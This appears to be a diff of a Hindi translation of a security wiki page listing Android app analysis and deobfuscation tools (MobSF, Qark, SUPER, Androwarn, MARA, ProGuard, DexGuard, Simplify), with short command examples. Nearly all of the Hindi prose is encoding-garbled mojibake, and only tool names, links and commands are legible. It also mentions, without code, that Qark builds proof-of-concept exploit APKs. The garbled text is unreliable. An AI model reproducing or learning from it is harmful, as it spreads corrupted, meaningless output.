рд╕рдХрддреЗ рд╣реИрдВ: +> MobSF рдХреЗ рд╕рд╛рде рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдЧрд▓рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЖрдк рдЙрдиреНрд╣реЗрдВ GUI рд╕реЗ рдареАрдХ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд░рдХреЗ рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдареАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: > > ``` > adb shell settings put global http_proxy :0 @@ -589,13 +589,13 @@ receivers ### [Yaazhini](https://www.vegabird.com/yaazhini/) -рдпрд╣ **GUI рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рдЯреВрд▓ рд╣реИ** +рдпрд╣ рдПрдХ **рд╢рд╛рдирджрд╛рд░ рдЯреВрд▓ рд╣реИ рдЬреЛ GUI рдХреЗ рд╕рд╛рде рд╕реНрдереИрддрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -рдпрд╣ рдЯреВрд▓ рдХрдИ **рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрдмрдВрдзрд┐рдд Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрдордЬреЛрд░рд┐рдпреЛрдВ** рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡рд╣ **source code** рдореЗрдВ рд╣реЛ рдпрд╛ **packaged APKs** рдореЗрдВред рдпрд╣ рдЯреВрд▓ **"Proof-of-Concept" deployable APK** рдФрд░ **ADB commands** рдмрдирд╛рдиреЗ рдореЗрдВ рднреА **рд╕рдХреНрд╖рдо** рд╣реИ, рддрд╛рдХрд┐ рдХреБрдЫ рдкрд╛рдП рдЧрдП рдХрдордЬреЛрд░рд┐рдпреЛрдВ (Exposed activities, intents, tapjacking...) рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред Drozer рдХреА рддрд░рд╣, рдкрд░реАрдХреНрд╖рдг рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд░реВрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред +рдпрд╣ рдЯреВрд▓ рдХрдИ **рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрдмрдВрдзрд┐рдд Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрдордЬреЛрд░рд┐рдпреЛрдВ** рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡рд╣ **source code** рдореЗрдВ рд╣реЛ рдпрд╛ **packaged APKs** рдореЗрдВред рдпрд╣ рдЯреВрд▓ **"Proof-of-Concept" deployable APK** рдФрд░ **ADB commands** рдмрдирд╛рдиреЗ рдореЗрдВ рднреА **рд╕рдХреНрд╖рдо рд╣реИ**, рддрд╛рдХрд┐ рдХреБрдЫ рдкрд╛рдП рдЧрдП рдХрдордЬреЛрд░рд┐рдпреЛрдВ (Exposed activities, intents, tapjacking...) рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред Drozer рдХреА рддрд░рд╣, рдкрд░реАрдХреНрд╖рдг рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд░реВрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER рдПрдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИ рдЬрд┐рд╕реЗ Windows, MacOS X рдФрд░ Linux рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ _.apk_ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛ рд╕рдХреЗред рдпрд╣ APKs рдХреЛ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдХреЗ рдФрд░ рдЙрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдореЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдХрд░рддрд╛ рд╣реИред +SUPER рдПрдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИ рдЬрд┐рд╕реЗ Windows, MacOS X рдФрд░ Linux рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ _.apk_ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛ рд╕рдХреЗред рдпрд╣ APKs рдХреЛ рдбрд┐рдХрдВрдкреНрд░реЗрд╕ рдХрд░рдХреЗ рдФрд░ рдЙрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдореЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдРрд╕рд╛ рдХрд░рддрд╛ рд╣реИред -рд╕рднреА рдирд┐рдпрдо `rules.json` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИрдВ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХрдВрдкрдиреА рдпрд╛ рдкрд░реАрдХреНрд╖рдХ рдЕрдкрдиреЗ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдирд┐рдпрдо рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред +рд╕рднреА рдирд┐рдпрдо `rules.json` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЗрдВрджреНрд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдХрдВрдкрдиреА рдпрд╛ рдкрд░реАрдХреНрд╖рдХ рдЕрдкрдиреЗ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдирд┐рдпрдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдирд╡реАрдирддрдо рдмрд╛рдЗрдирд░реА [рдбрд╛рдЙрдирд▓реЛрдб рдкреГрд╖реНрда](https://superanalyzer.rocks/download.html) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред ``` @@ -647,9 +647,9 @@ androbugs.exe -f [APK file] **Androwarn** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рд╕рдВрднрд╛рд╡рд┐рдд рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдирд╛ рд╣реИред -рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ Dalvik рдмрд╛рдЗрдЯрдХреЛрдб рдХрд╛ **рд╕реНрдереИрддрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг** рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕реЗ **Smali** рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, [`androguard`](https://github.com/androguard/androguard) рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд╕рд╛рдеред +рдкрддрд╛ рд▓рдЧрд╛рдирд╛ **рд╕реНрдЯреЗрдЯрд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕** рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ Dalvik рдмрд╛рдЗрдЯрдХреЛрдб рдХрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ **Smali** рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, [`androguard`](https://github.com/androguard/androguard) рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рдеред -рдпрд╣ рдЙрдкрдХрд░рдг **"рдЦрд░рд╛рдм" рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реНрдпрд╡рд╣рд╛рд░** рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ: рдЯреЗрд▓реАрдлреЛрдиреА рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХрд╛ рдирд┐рд╖реНрдХрд╛рд╕рди, рдСрдбрд┐рдпреЛ/рд╡реАрдбрд┐рдпреЛ рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдЕрд╡рд░реЛрдзрди, PIM рдбреЗрдЯрд╛ рдореЗрдВ рд╕рдВрд╢реЛрдзрди, рдордирдорд╛рдиреЗ рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди... +рдпрд╣ рдЙрдкрдХрд░рдг **"рдЦрд░рд╛рдм" рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реНрдпрд╡рд╣рд╛рд░** рдХреА рддрд▓рд╛рд╢ рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ: рдЯреЗрд▓реАрдлреЛрдиреА рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди, рдСрдбрд┐рдпреЛ/рд╡реАрдбрд┐рдпреЛ рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди, PIM рдбреЗрдЯрд╛ рдореЗрдВ рд╕рдВрд╢реЛрдзрди, рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -657,14 +657,14 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** рдПрдХ **M**реЛрдмрд╛рдЗрд▓ **A**рдкреНрд▓рд┐рдХреЗрд╢рди **R**рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдФрд░ **A**рдирд╛рд▓рд┐рд╕рд┐рд╕ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИред рдпрд╣ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдПрдХ рд╕рд╛рде рд▓рд╛рддрд╛ рд╣реИ, рддрд╛рдХрд┐ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг OWASP рдореЛрдмрд╛рдЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЦрддрд░реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рди рдФрд░ рдорд┐рддреНрд░рд╡рдд рдмрдирд╛рдирд╛ рд╣реИред +**MARA** рдПрдХ **M**obile **A**pplication **R**everse engineering рдФрд░ **A**nalysis Framework рд╣реИред рдпрд╣ рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдПрдХ рд╕рд╛рде рд▓рд╛рддрд╛ рд╣реИ, рддрд╛рдХрд┐ OWASP рдореЛрдмрд╛рдЗрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдЦрддрд░реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдорд┐рд▓ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рди рдФрд░ рдорд┐рддреНрд░рд╡рдд рдмрдирд╛рдирд╛ рд╣реИред рдпрд╣ рд╕рдХреНрд╖рдо рд╣реИ: - рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Java рдФрд░ Smali рдХреЛрдб рдирд┐рдХрд╛рд▓рдирд╛ - [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ APKs рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ - regexps рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ APK рд╕реЗ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ред -- рдореИрдирд┐рдлреЗрд╕реНрдЯ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ред +- Manifest рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ред - [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) рдФрд░ [whatweb](https://github.com/urbanadventurer/WhatWeb) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдП рдЧрдП рдбреЛрдореЗрди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ - [apk-deguard.com](http://www.apk-deguard.com) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ APK рдХреЛ рдбрд┐рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдирд╛ @@ -674,13 +674,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ## Obfuscating/Deobfuscating code -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдЬрд┐рд╕ рд╕реЗрд╡рд╛ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреЛрдб рдХреЛ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рд░рд╣рд╕реНрдп рдУрдмрдлрд╕реНрдХреЗрдЯреЗрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрд┐рд╕ рд╕реЗрд╡рд╛ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЖрдк рдХреЛрдб рдХреЛ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рд░рд╣рд╕реНрдп рдУрдмрдлрд╕реНрдХреЗрдЯреЗрдб рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВред ### [ProGuard]() -[рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛](): **ProGuard** рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ Java рдХреЛрдб рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд, рдЕрдиреБрдХреВрд▓рд┐рдд рдФрд░ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдЕрдкреНрд░рдпреБрдХреНрдд рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред ProGuard рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╣реИ рдФрд░ рдЗрд╕реЗ GNU рдЬрдирд░рд▓ рдкрдмреНрд▓рд┐рдХ рд▓рд╛рдЗрд╕реЗрдВрд╕, рд╕рдВрд╕реНрдХрд░рдг 2 рдХреЗ рддрд╣рдд рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +[Wikipedia](): **ProGuard** рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ Java рдХреЛрдб рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд, рдЕрдиреБрдХреВрд▓рд┐рдд рдФрд░ рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдЕрдкреНрд░рдпреБрдХреНрдд рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред ProGuard рдореБрдлреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╣реИ рдФрд░ рдЗрд╕реЗ GNU рдЬрдирд░рд▓ рдкрдмреНрд▓рд┐рдХ рд▓рд╛рдЗрд╕реЗрдВрд╕, рд╕рдВрд╕реНрдХрд░рдг 2 рдХреЗ рддрд╣рдд рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -ProGuard Android SDK рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд░рд┐рд▓реАрдЬрд╝ рдореЛрдб рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдиреЗ рдкрд░ рдЪрд▓рддрд╛ рд╣реИред +ProGuard Android SDK рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ рдФрд░ рд░рд┐рд▓реАрдЬрд╝ рдореЛрдб рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдиреЗ рдкрд░ рдЪрд▓рддрд╛ рд╣реИред ### [DexGuard](https://www.guardsquare.com/dexguard) @@ -691,8 +691,8 @@ APK рдХреЛ рдбрд┐рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд░ - рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреЛ InputStream рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВ; - рдЗрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП FilterInputStream рд╕реЗ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓реА рдПрдХ рдХрдХреНрд╖рд╛ рдХреЛ рдкрд░рд┐рдгрд╛рдо рджреЗрдВ; - рдПрдХ рд░рд┐рд╡рд░реНрд╕рд░ рд╕реЗ рдХреБрдЫ рдорд┐рдирдЯреЛрдВ рдХрд╛ рд╕рдордп рдмрд░реНрдмрд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдмреЗрдХрд╛рд░ рдУрдмрдлрд╕реНрдХреЗрд╢рди рдХрд░реЗрдВ; -- DEX рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд░рд┐рдгрд╛рдо рдХреЛ ZipInputStream рдореЗрдВ рджреЗрдВ; -- рдЕрдВрддрддрдГ `loadDex` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк DEX рдХреЛ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВред +- рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд░рд┐рдгрд╛рдо рдХреЛ ZipInputStream рдореЗрдВ рджреЗрдВ рддрд╛рдХрд┐ рдПрдХ DEX рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗ; +- рдЕрдВрддрддрдГ `loadDex` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк DEX рдХреЛ рдПрдХ Resource рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЛрдб рдХрд░реЗрдВред ### [DeGuard](http://apk-deguard.com) @@ -706,7 +706,7 @@ APK рдХреЛ рдбрд┐рдУрдмрдлрд╕реНрдХреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд░ ### [Simplify](https://github.com/CalebFenton/simplify) -рдпрд╣ рдПрдХ **рд╕рд╛рдорд╛рдиреНрдп Android рдбрд┐рдУрдмрдлрд╕реНрдХреЗрдЯрд░** рд╣реИред Simplify **рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рдРрдк рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдЗрд╕рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдордЭрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ **рдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рдпрд╣ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░реЗ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдорд╛рдирд╡ рдХреЗ рд▓рд┐рдП рд╕рдордЭрдирд╛ рдЖрд╕рд╛рди рд╣реЛред рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрдХреВрд▓рди рдкреНрд░рдХрд╛рд░ рд╕рд░рд▓ рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдорд╛рдпрдиреЗ рдирд╣реАрдВ рд░рдЦрддрд╛ рдХрд┐ рдУрдмрдлрд╕реНрдХреЗрд╢рди рдХрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рдХрд╛рд░ рдХреНрдпрд╛ рд╣реИред +рдпрд╣ рдПрдХ **generic android deobfuscator** рд╣реИред Simplify **virtually executes an app** рддрд╛рдХрд┐ рдЗрд╕рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рд╕рдордЭрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдлрд┐рд░ **рдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ** рддрд╛рдХрд┐ 